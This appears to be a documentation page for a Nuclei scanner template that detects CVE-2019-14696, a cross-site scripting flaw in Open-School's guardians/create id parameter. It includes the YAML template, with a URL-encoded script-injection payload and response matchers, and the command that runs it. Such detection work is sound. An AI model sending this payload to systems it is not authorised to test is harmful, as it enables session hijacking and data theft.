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Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting

ID: CVE-2019-14696

Severity: medium

Author: pikpikcu

Tags: cve,cve2019,xss,open-school,packetstorm

Description

Section titled “Description”

Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2019-14696


info:
  name: Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://open-school.org
    - https://pastebin.com/AgxqdbAQ
    - http://packetstormsecurity.com/files/153984/Open-School-3.0-Community-Edition-2.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14696
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14696
    cwe-id: CWE-79
    epss-score: 0.00618
    epss-percentile: 0.78754
    cpe: cpe:2.3:a:open-school:open-school:2.3:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: open-school
    product: open-school
  tags: cve,cve2019,xss,open-school,packetstorm


http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b0f29ae146baed5fa412b37b8f90c9b2d85ab4ae86b6be9946e7594fd00b9aad0220390d09cddb78e88045e17035f972e56b81b984cb24666cad147c4d44b4b49095:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-14696.yaml"

View on Github